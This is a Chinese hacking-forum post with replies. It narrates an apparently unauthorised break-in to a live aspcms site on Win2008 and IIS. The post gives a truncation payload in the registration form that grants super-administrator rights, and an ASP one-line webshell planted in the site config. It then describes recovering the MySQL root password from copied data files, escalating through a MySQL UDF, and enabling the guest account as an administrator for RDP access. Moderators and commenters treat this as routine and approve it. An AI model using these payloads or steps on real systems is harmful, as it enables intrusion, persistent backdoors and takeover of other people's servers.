[【通过】] 一次艰难的 win2008 提权

[复制链接]
al0ne 发表于 2015-11-24 10:01:55 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 257

目标系统
Os:Win2008+Iis7.5
Mysql 5.5
开放端口:21 22 80 3306 3389

目标站点是aspcms 存在默认的后台地址/admin_aspcms/login.asp,之前在乌云看到了一篇aspcms全版本权限提升漏洞通过/member/reg.asp 注册普通用户时修改post参数可提升为管理员
1.png

打开burp进行抓包修改,默认的参数是&Gander=1   修改为Gander=1,1,1,1,1,1,1,1)%16   选中%16按ctrl+shift+u进行编码截断,此原理是在注 册用户的时候没有判断性别参数 Gender 是否为数字,插入数据库的时候没有用引号引起来,导致过滤函数不起作用。利用 Access16% 截断技巧注释掉后面的语句,可以直接注册 GroupID 为 1 的超级管理员组用户。

2.png
发送后会显示注册成功,这时登陆后台用刚才注册的用户密码直接就是管理员
3.png

在界面风格--》编辑模板css文件--》添加模板中写入一句话
4.png

保存时居然提示错误的文件名…  看来有所防备
记得aspcms还有一个后台拿webshell的方法
在拓展功能--》幻灯片设置--》幻灯样式上右键审查元素

44.png

把value的值改为 一句话%><%Eval(Request(chr(65)))%><% 密码a,不要忘记保存,菜刀地址在xxx.com/config/AspCms_Config.asp

5.png

激动!!成功链接
下一步传大马
挨个目录翻了翻,装的东西很少,没有serv-u,radmin,Pcanywhrer,mssql等等一切有机会提权的东西,看了看systeminfo
6.png
看到这长长的一串补丁顿时绝望,传了几个exp'均失败告终,在翻目录中看到有mysql目录,看来这个网站是支持php的,想到了udf提权,找到了mysql安装目录但是不知道root密码,百度后得到一个方法把mysql\data\mysql目录中的user.frm,user.myd,user.myi这三个文件下载到本地,用十六进制编辑器查看但是mysql密码显示不全(不到40位)
还有一种方法就是本地安装mysql替换本地的这三个文件,然后进入安全模式查看密码,还好之前安装了wamp
7.png

替换后切换到mysql5.6.17\ 目录就是mysql根目录,在my.ini文件中【mysqld】添加如下一行启动安全模式   登陆后不需要验证密码
8.png

输入查询语句select host,user,passwors from mysql.user 令人激动的场景发生了
9.png

在soumd5解密后root密码是123456  居然会用那么简单的密码 早知道先多试几次了~~
传个php马上去,链接mysql成功,安装路径自动出来了,如果mysql版本小于mysql5.1时安装目录是c:\windows
如果>mysql5.1时  那么安装目录就是mysql\lib\plugin,有时候检查下plugin目录是否存在,需要手动去创建不然安装会报错。

10.png

提权成功!!!然后就是激活guest账户并添加到管理组,因为原本打开了3389所以直接通过链接就ok了
11.png

大功告成!!
12.png



======================================

提权过程并不算是“艰难”,但是一些方法和
一些思路很值得借鉴,虽然部分内容有些欠缺,总体来说
还是可以,三思后,通过。





评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

komas 发表于 2015-11-24 10:29:03 | 显示全部楼层

正式成员|主题 |帖子 |积分 169

我去 这是艰难么
Balis0ng 发表于 2015-11-24 11:01:38 | 显示全部楼层

正式成员|主题 |帖子 |积分 202

感觉不艰难啊,普通的udf提权而已。
小伟 发表于 2015-11-24 11:06:17 | 显示全部楼层

正式成员|主题 |帖子 |积分 75

都找到了root还艰难个毛线
Iksaa 发表于 2015-11-24 11:39:24 | 显示全部楼层

正式成员|主题 |帖子 |积分 25

确实是不难提。欢迎楼主
huotoo 发表于 2015-11-24 13:06:10 | 显示全部楼层

正式成员|主题 |帖子 |积分 227

......常识好吧
战虎 发表于 2015-11-24 16:54:13 | 显示全部楼层

正式成员|主题 |帖子 |积分 44

艰难.........?
 楼主 al0ne 发表于 2015-11-24 16:57:55 | 显示全部楼层

正式成员|主题 |帖子 |积分 257

大家不要在吐槽了  好不容易加进来   菜鸟一只
yang5478 发表于 2015-11-24 17:44:11 | 显示全部楼层

正式成员|主题 |帖子 |积分 20

90sec欢迎你
Shimx 发表于 2015-11-24 18:27:49 | 显示全部楼层

正式成员|主题 |帖子 |积分 75

欢迎
小莫 发表于 2015-11-24 18:28:13 | 显示全部楼层

正式成员|主题 |帖子 |积分 77

╮(╯▽╰)╭,学习了那个aspcms那个。其实吧,这就不吐槽了吧。
 楼主 al0ne 发表于 2015-11-24 19:00:01 | 显示全部楼层

正式成员|主题 |帖子 |积分 257

小莫 发表于 2015-11-24 18:28
╮(╯▽╰)╭,学习了那个aspcms那个。其实吧,这就不吐槽了吧。

原谅我这个标题党
小莫 发表于 2015-11-24 20:33:23 | 显示全部楼层

正式成员|主题 |帖子 |积分 77

al0ne 发表于 2015-11-24 19:00
原谅我这个标题党

不不不,我没有想吐槽的意思啊。
落血 发表于 2015-11-24 22:33:51 | 显示全部楼层

正式成员|主题 |帖子 |积分 37

这不能叫艰难吧 常规手法
cike 发表于 2015-11-24 23:33:38 | 显示全部楼层

正式成员|主题 |帖子 |积分 263

这个还艰难吗  就是拿shell的时候思路 不错 的 提权基本是搜搜的
Aimuer 发表于 2015-11-25 09:29:21 | 显示全部楼层

正式成员|主题 |帖子 |积分 154

配置文件写吗,udf提权 卧槽 标题党!!!!
welcome!!!!!!!!!!!
webshell 发表于 2015-11-25 10:44:58 | 显示全部楼层

正式成员|主题 |帖子 |积分 137

零几年的东西....扛不住
芙蓉王 发表于 2015-11-25 14:14:27 | 显示全部楼层

正式成员|主题 |帖子 |积分 201

这是常规提权好不好啊root权限导出dll执行命令
0x0day 发表于 2015-11-25 15:01:46 | 显示全部楼层

正式成员|主题 |帖子 |积分 186

慢慢都会进步,欢迎来到90
y0uki11 发表于 2015-11-25 17:44:21 | 显示全部楼层

正式成员|主题 |帖子 |积分 162

如果Mysql被降权了,那艰难了。
L_AnG 发表于 2015-11-25 22:33:55 | 显示全部楼层

正式成员|主题 |帖子 |积分 37

== 这不是正常的思路吗,哪里难啊 ==
javexj 发表于 2015-11-26 21:12:27 | 显示全部楼层

正式成员|主题 |帖子 |积分 212

那么问题来了,根据楼主的说法列出下列公式。
if(mysq.ver > 5.1){
  copy ../udf.dll  ../mysql\lib\plugin\udf.dll
}
elseif (mysql.ver < 5.1){
  copy ../udf.dll  c:\windows\udf.dll
}

问题:
if(mysq.ver = 5.1){
  copy ../udf.dll  ?????????
}
Bsmali4 发表于 2015-11-28 23:38:50 | 显示全部楼层

正式成员|主题 |帖子 |积分 393

javexj 发表于 2015-11-26 21:12
那么问题来了,根据楼主的说法列出下列公式。
if(mysq.ver > 5.1){
  copy ../udf.dll  ../mysql\lib\p ...

你够了,,,,,,,,,,,,,,,,,
atom 发表于 2015-11-29 20:21:14 | 显示全部楼层

正式成员|主题 |帖子 |积分 385

思路还是不错的。
Luan 发表于 2015-11-29 21:12:28 | 显示全部楼层

正式成员|主题 |帖子 |积分 47

虽然不是很艰难但是楼主写的很详细。
快速回复 返回顶部 返回列表